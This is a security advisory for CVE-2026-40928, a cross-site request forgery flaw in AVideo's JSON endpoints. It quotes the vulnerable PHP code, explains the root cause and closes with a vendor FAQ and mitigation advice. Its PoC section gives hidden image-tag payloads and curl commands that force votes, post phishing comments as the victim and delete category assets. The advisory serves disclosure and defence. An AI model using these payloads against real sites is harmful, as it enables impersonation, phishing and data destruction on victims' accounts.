CVE-2026-40928

Multiple AVideo JSON endpoints under objects/ accept state-changing requests via $_REQUEST/$_GET and persist changes tied to the caller's session user, without any anti-CSRF token, origin check, or referer check. A malicious page visited by a logged-in victim can silently:

1. Cast/flip the victim's like/dislike on any comment (objects/comments_like.json.php).
2. Post a comment authored by the victim on any video, with attacker-chosen text (objects/commentAddNew.json.php).
3. Delete assets from any category (objects/categoryDeleteAssets.json.php) when the victim has category management rights.

Each endpoint is reachable from a browser via a simple <img src="…"> tag or form submission, so exploitation only requires the victim to load an attacker-controlled HTML resource.

Details

AVideo exposes a helper, forbidIfIsUntrustedRequest() (objects/functionsSecurity.php:138), that rejects cross-origin requests when the Referer/Origin does not match webSiteRootURL. It is only invoked in one file in the tree, objects/userUpdate.json.php:18, and is not applied to the endpoints below. There is also an isGlobalTokenValid() helper (objects/functions.php:2313) intended for CSRF-style token checks; none of the affected endpoints call it. allowOrigin() only sets CORS response headers and does not prevent cookie-bearing top-level or image requests from reaching the server.

1. objects/comments_like.json.php, CSRF → forced like/dislike

// objects/comments_like.json.php
15: if (empty($_POST['comments_id']) && !empty($_GET['comments_id'])) {
16:     $_POST['comments_id'] = $_GET['comments_id'];
17: }
18:
19: $like = new CommentsLike($_GET['like'], $_POST['comments_id']);
20: echo json_encode(CommentsLike::getLikes($_POST['comments_id']));

The endpoint deliberately promotes $_GET['comments_id'] to $_POST['comments_id'] so the call works for either verb. CommentsLike::__construct (objects/comments_like.php:18) reads User::getId(), calls load() to fetch any prior vote, then setLike() + save(), issuing an INSERT/UPDATE on comments_likes keyed to the session user (objects/comments_like.php:70-89). There is no token check and no origin check.

2. objects/commentAddNew.json.php, CSRF → forced comment posting

// objects/commentAddNew.json.php
34: if (!User::canComment()) {
35:     $obj->msg = __("Permission denied");
36:     die(json_encode($obj));
37: }
...
117: $objC = new Comment($_REQUEST['comment'], $_REQUEST['video']);
118: $objC->setComments_id_pai($_REQUEST['comments_id']);
...
124: $obj->comments_id = $objC->save();

All inputs come from $_REQUEST, so GET is fully supported. The only gate is User::canComment(), which is true for ordinary logged-in users. isCommentASpam() (lines 39–97) is a per-session rate limiter, not a CSRF defense, it accounts the victim's own session bucket, so it does not block a single forged write. The comment is persisted under the victim's users_id via $objC->save().

3. objects/categoryDeleteAssets.json.php, CSRF → forced deletion of category assets

// objects/categoryDeleteAssets.json.php
14: $obj->id = intval(@$_REQUEST['id']);
15:
16: if (!Category::canCreateCategory()) {
17:     $obj->msg = __("Permission denied");
18:     die(json_encode($obj));
19: }
20:
21: if (!Category::deleteAssets($obj->id)) {
22:     $obj->error = false;
23: ...

State-destroying operation reachable by GET with no CSRF defense. The attacker can enumerate category ids with a loop of <img> tags, every one fires a credentialed request.

Root cause (shared)

All three endpoints follow the same pattern: objects/*.json.php handler that (a) reads mutating parameters from $_REQUEST/$_GET, (b) performs authorization against the victim's session, and (c) writes to the database, without calling forbidIfIsUntrustedRequest(), without validating a CSRF token, and without any SameSite mitigation in the session cookie set by AVideo's auth layer. Any logged-in victim loading an attacker-controlled HTML resource is sufficient.

PoC

Preconditions: attacker controls a page the victim loads while logged into the target AVideo instance. Cookies are sent by default on cross-site <img>/top-level GETs.

Variant A, comments_like.json.php (force a downvote on comment id 10)

Attacker page:

<img src="https://victim.example.com/objects/comments_like.json.php?like=-1&comments_id=10" style="display:none">

Manual verification:

curl -b 'PHPSESSID=<victim-session>' \
  'https://victim.example.com/objects/comments_like.json.php?like=-1&comments_id=10'
# → {"comments_id":10,"likes":...,"dislikes":...,"myVote":-1}
# Row inserted/updated in `comments_likes` with users_id = victim.

Variant B, commentAddNew.json.php (force victim to post a phishing comment on video 123)

Attacker page:

<img src="https://victim.example.com/objects/commentAddNew.json.php?comment=Check+out+my+free+giveaway+https%3A%2F%2Fattacker.example%2Fscam&video=123" style="display:none">

Manual verification:

curl -b 'PHPSESSID=<victim-session>' \
  'https://victim.example.com/objects/commentAddNew.json.php?comment=phish&video=123'
# → {"error":false,"comments_id":<id>,"msg":"Your comment has been saved!",...}

Variant C, categoryDeleteAssets.json.php (force a category admin to delete assets on category 1)

Attacker page (enumerate several ids):

<img src="https://victim.example.com/objects/categoryDeleteAssets.json.php?id=1">
<img src="https://victim.example.com/objects/categoryDeleteAssets.json.php?id=2">
<img src="https://victim.example.com/objects/categoryDeleteAssets.json.php?id=3">

Manual verification:

curl -b 'PHPSESSID=<category-admin-session>' \
  'https://victim.example.com/objects/categoryDeleteAssets.json.php?id=1'
# → {"error":false,"msg":"","id":1}
# Assets for category 1 are removed.

• Integrity of social signals: Attackers can flip any logged-in user's likes/dislikes to upvote attacker comments or downvote legitimate comments at scale (driven by whichever users visit the attacker page). Because the endpoint accepts like=-1|0|1, arbitrary vote states can be forced.
• Identity abuse via forced comments: An attacker can cause any logged-in user with comment permission to "post" attacker-controlled text on any video. This enables impersonation, phishing link injection under a trusted account, harassment of third parties in a victim's name, and (if the victim is a moderator/admin) endorsement-shaped content in a privileged voice.
• Data loss: Any user with canCreateCategory() who visits an attacker page can be made to silently delete assets belonging to arbitrary categories. Since category ids are small integers, a loop of <img> tags can cover the full category space in one page load.

No special configuration is required; AVideo's default session cookie lacks a SameSite=Lax/Strict protection that would independently blunt the attack, and none of the affected endpoints verifies origin or token.

A victim's authenticated browser session is used to submit forged requests to an application that cannot distinguish them from legitimate ones. Typical impact: state-changing actions performed as the victim without their consent.

CVE-2026-40928 has a CVSS score of 5.4 (Medium). The vector is network-reachable, no privileges required, and user interaction required. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. No fixed version is listed yet, so configuration controls and monitoring matter more in the interim.

Kodem intelligence

1. What is CVE-2026-40928? CVE-2026-40928 is a medium-severity cross-site request forgery (CSRF) vulnerability in wwbn/avideo (composer), affecting versions <= 29.0. No fixed version is listed yet. A victim's authenticated browser session is used to submit forged requests to an application that cannot distinguish them from legitimate ones.
2. How severe is CVE-2026-40928? CVE-2026-40928 has a CVSS score of 5.4 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of wwbn/avideo are affected by CVE-2026-40928? wwbn/avideo (composer) versions <= 29.0 is affected.
4. Is there a fix for CVE-2026-40928? No fixed version is listed for CVE-2026-40928 yet. Monitor the advisory for updates and apply mitigations in the interim.
5. Is CVE-2026-40928 exploitable, and should I be worried? Whether CVE-2026-40928 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-40928 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-40928? No fixed version is listed yet. In the interim: Use per-session CSRF tokens on all state-changing operations and verify them server-side. SameSite cookie attributes provide additional defense.